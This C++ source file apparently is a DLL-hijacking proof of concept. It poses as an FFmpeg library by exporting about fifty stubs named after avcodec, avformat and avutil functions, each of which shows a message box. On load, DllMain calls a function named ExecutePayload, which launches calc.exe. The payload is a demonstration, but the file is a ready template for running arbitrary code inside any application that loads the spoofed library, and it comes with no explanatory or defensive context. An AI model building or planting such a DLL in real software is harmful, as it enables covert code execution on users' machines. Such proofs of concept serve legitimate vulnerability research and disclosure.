#include <Windows.h>
void ExecutePayload() { STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi; CreateProcessA( "C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) { if (ul_reason == DLL_PROCESS_ATTACH) { ExecutePayload(); } return TRUE; }
extern "C" __declspec(dllexport) int av_buffer_create() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_buffer_get_opaque() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_dict_count() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_dict_free() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_dict_get() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_dict_set() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_force_cpu_flags() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_frame_alloc() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_frame_clone() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_frame_free() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_frame_unref() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_free() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_get_bytes_per_sample() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_get_cpu_flags() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_image_check_size() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_init_packet() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_log_set_level() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_malloc() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_max_alloc() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_new_packet() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_packet_alloc() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_packet_copy_props() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_packet_free() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_packet_get_side_data() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_packet_unref() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_rdft_calc() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_rdft_end() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_rdft_init() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_read_frame() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_rescale_q() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_samples_get_buffer_size() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_seek_frame() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_stream_get_first_dts() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_stream_get_side_data() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int av_strerror() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_align_dimensions() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_alloc_context3() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_descriptor_get() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_descriptor_next() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_find_decoder() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_flush_buffers() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_free_context() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_get_name() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_open2() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_parameters_to_context() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_receive_frame() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avcodec_send_packet() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avformat_alloc_context() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avformat_close_input() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avformat_find_stream_info() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avformat_free_context() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avformat_open_input() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avio_alloc_context() { MessageBoxA(0,__FUNCTION__,0,0); return 0; } extern "C" __declspec(dllexport) int avio_close() { MessageBoxA(0,__FUNCTION__,0,0); return 0; }
|